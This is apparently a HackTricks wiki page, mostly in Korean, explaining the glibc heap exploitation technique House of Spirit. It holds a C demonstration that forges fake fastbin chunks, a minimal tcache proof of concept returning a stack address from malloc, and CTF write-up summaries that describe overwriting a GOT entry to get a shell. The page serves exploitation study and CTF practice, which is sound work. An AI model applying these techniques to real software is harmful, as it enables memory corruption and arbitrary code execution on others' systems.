House of Spirit

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

코드

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### 목표

- tcache / fast bin에 주소를 추가해서 나중에 해당 주소를 allocate할 수 있어야 함

### 요구사항

- 이 공격은 공격자가 size 값을 올바르게 표시한 fake fast chunks를 몇 개 생성하고, 첫 번째 fake chunk를 free하여 bin에 들어가게 할 수 있어야 함.
- **tcache (glibc ≥2.26)** 환경에서는 공격이 더 간단해짐: fake chunk 하나만 있으면 된다( tcache 경로에서는 next-chunk size 체크가 수행되지 않음). 단, fake chunk가 0x10 정렬되어 있고 size 필드가 유효한 tcache bin (0x20-0x410 on x64)에 속해야 함.

### 공격

- 보안 검사를 우회하는 fake chunks를 생성: 기본적으로 올바른 위치에 올바른 size 값을 표시하는 fake chunk 2개가 필요함
- 어떤 식으로든 첫 번째 fake chunk를 free해 fast 또는 tcache bin에 들어가게 한 뒤, 그 주소를 allocate하여 해당 주소를 overwrite함

**이 코드는** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **공격을 이해하는 데 매우 유용하다.** 다만 코드의 이 도식이 이를 꽤 잘 요약한다:

<details>
<summary>가짜 chunk 레이아웃</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

두 번째 chunk를 생성해야 일부 sanity 체크를 우회할 수 있다는 점에 유의하세요.

Tcache house of spirit (glibc ≥2.26)

  • 최신 glibc에서는 tcache fast-path가 다음 청크의 크기/prev_inuse를 검증하기 전에 tcache_put을 호출하므로, 현재의 fake chunk만 정상처럼 보이면 된다.
  • 요구 사항:
  • Fake chunk must be 16-byte aligned and not marked IS_MMAPPED/NON_MAIN_ARENA.
  • size must belong to a tcache bin and include the prev_inuse bit set (size | 1).
  • Tcache for that bin must not be full (default max 7 entries).
  • Minimal PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking is not a barrier here: the forward pointer stored in tcache is automatically encoded as fd = ptr ^ (heap_base >> 12) during free, so the attacker does not need to know the key when using a single fake chunk.
  • 이 변형은 glibc hooks가 제거되었을 때(≥2.34) 유용하며, 추가 손상 없이 tcache 청크로 대상 버퍼(예: stack/BSS)를 겹치게 하거나 빠른 arbitrary write가 필요할 때 편리하다.

Examples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Via an overflow it’s possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF

  • House of Spirit: 카운터(예: “rifles“의 개수를 세는)를 악용하면 첫 번째 fake chunk의 fake size를 생성할 수 있고, 이어서 “message“를 악용하면 두 번째 청크의 size를 위조할 수 있으며, 마지막으로 overflow를 악용해 해제될 포인터를 변경하여 첫 번째 fake chunk가 free되게 할 수 있다. 그런 다음 이를 할당하면 내부에 “message“가 저장된 주소가 들어 있고, 이를 GOT 테이블의 scanf 엔트리를 가리키게 만들어 system 주소로 덮어쓸 수 있다.
    다음 번에 scanf가 호출되면 입력으로 "/bin/sh"를 보내 셸을 얻을 수 있다.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Uninitialized stack buffer.

  • House of Spirit: 전역 heap 포인터 배열의 첫 번째 인덱스를 수정할 수 있다. 단일 바이트 수정을 통해 유효한 청크 내부의 fake chunk에 대해 free를 사용하여 다시 할당하면 overlapping chunks 상황을 만들 수 있다. 이를 통해 간단한 Tcache poisoning attack으로 arbitrary write primitive를 얻을 수 있다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기